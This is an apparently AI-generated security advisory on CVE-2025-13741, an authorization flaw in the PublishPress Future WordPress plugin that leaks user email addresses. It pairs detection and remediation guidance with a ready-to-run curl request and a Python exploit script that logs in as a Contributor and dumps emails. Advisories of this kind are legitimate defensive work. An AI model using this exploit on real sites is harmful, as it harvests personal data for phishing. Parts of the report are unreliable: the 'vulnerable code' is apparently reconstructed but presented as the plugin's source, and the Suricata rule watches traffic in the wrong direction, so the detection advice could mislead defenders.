CVE-2025-13741

Executive Summary

CVE-2025-13741 is a Missing Authorization vulnerability in the PublishPress Future WordPress plugin (formerly known as "Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories"). This plugin is designed to schedule post status changes, deletions, and other actions. The vulnerability resides in the getAuthors function, which fails to perform a capability check before returning sensitive user data. This allows authenticated attackers with Contributor-level access or higher to retrieve the email addresses of all users who have the edit_posts capability. The exposure of email addresses can facilitate targeted phishing attacks, social engineering, or enumeration of user accounts for further exploitation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site running PublishPress Future version 4.9.2 or earlier is vulnerable. The plugin is widely used for content scheduling, making it a high-value target for attackers seeking to harvest user emails. No official patch has been released at the time of this analysis, and the vendor has not confirmed a fix timeline.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (email addresses)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the direct impact is limited to email disclosure, the information can be leveraged for more severe attacks, such as credential stuffing or spear-phishing campaigns targeting site administrators.

Deep Dive & Mechanics

The vulnerability is located in the getAuthors function of the PublishPress Future plugin. This function is intended to return a list of authors for scheduling purposes. However, it lacks a capability check (e.g., current_user_can('edit_others_posts')) to verify that the requesting user has the right to view all user email addresses. As a result, any authenticated user with at least Contributor-level access can call this function via an AJAX endpoint or REST API route and retrieve the email addresses of all users with the edit_posts capability.

The function likely queries the WordPress wp_users table and returns user data including user_email. The missing capability check means that the server does not validate whether the requester should have access to this sensitive information.

Attack Flow:

1. Attacker authenticates as a Contributor-level user.
2. Attacker sends a crafted request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=getAuthors).
3. The server returns a JSON array containing user IDs and email addresses.
4. Attacker uses this data for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (PublishPress Future <= 4.9.2):

function getAuthors() {
    $authors = get_users(array('who' => 'authors'));
    $result = array();
    foreach ($authors as $author) {
        $result[] = array(
            'ID' => $author->ID,
            'user_email' => $author->user_email,
            'display_name' => $author->display_name
        );
    }
    wp_send_json($result);
}
add_action('wp_ajax_getAuthors', 'getAuthors');

Patched Code (Hypothetical Fix):

function getAuthors() {
    if (!current_user_can('edit_others_posts')) {
        wp_die('Unauthorized', 403);
    }
    $authors = get_users(array('who' => 'authors'));
    $result = array();
    foreach ($authors as $author) {
        $result[] = array(
            'ID' => $author->ID,
            'display_name' => $author->display_name
        );
    }
    wp_send_json($result);
}
add_action('wp_ajax_getAuthors', 'getAuthors');

The patched version adds a capability check (current_user_can('edit_others_posts')) and removes the user_email field from the response to prevent unnecessary data exposure.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with PublishPress Future plugin version <= 4.9.2.
• A valid user account with Contributor-level privileges.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Obtain a valid nonce if required (check the plugin's AJAX handler).
3. Send a POST request to the AJAX endpoint:

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=getAuthors' \
  -c cookies.txt

4. Parse the JSON response to extract email addresses.

Example Python Exploit Script:

import requests

target = "http://target/wp-admin/admin-ajax.php"
session = requests.Session()
# Authenticate first (e.g., using login credentials)
session.post("http://target/wp-login.php", data={"log": "contributor", "pwd": "password"})

response = session.post(target, data={"action": "getAuthors"})
if response.status_code == 200:
    authors = response.json()
    for author in authors:
        print(f"User ID: {author['ID']}, Email: {author['user_email']}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for AJAX requests to admin-ajax.php with action=getAuthors from low-privileged users.
• Look for unusual spikes in user enumeration attempts.

Hardening:

• Apply the principle of least privilege: restrict Contributor accounts to only necessary capabilities.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious parameters.
• Implement rate limiting on AJAX endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=getAuthors parameter.
  • JSON responses containing user_email fields from non-admin users.

• File IOCs:

  • Modified or suspicious entries in WordPress access logs showing repeated admin-ajax.php calls.
  • Presence of user enumeration scripts in web server logs.

• Behavioral IOCs:

  • Contributor accounts making AJAX requests to getAuthors.
  • Unusual outbound traffic from the WordPress server to external IPs (if data exfiltration occurs).

Detection Engineering

YARA Rule

rule Detect_PublishPress_Future_Email_Exfiltration {
    meta:
        description = "Detects attempts to exploit CVE-2025-13741 by extracting user emails via getAuthors"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13741"
    strings:
        $ajax_action = "action=getAuthors"
        $email_field = "user_email"
        $wp_ajax = "wp_ajax_getAuthors"
    condition:
        any of them
}

Sigma Rule

title: PublishPress Future Email Disclosure via getAuthors
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of CVE-2025-13741 where an authenticated user retrieves email addresses via the getAuthors AJAX endpoint.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=getAuthors'
    condition: selection
falsepositives:
    - Legitimate use by administrators (should be rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13741 - PublishPress Future Email Disclosure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=getAuthors"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Restrict Contributor accounts to only necessary capabilities.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a custom capability check in the plugin's code (see patched code example).
• Use a security plugin to add additional authorization checks.

Workaround:

• Add a custom filter to the getAuthors function via a child theme or custom plugin to enforce capability checks.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.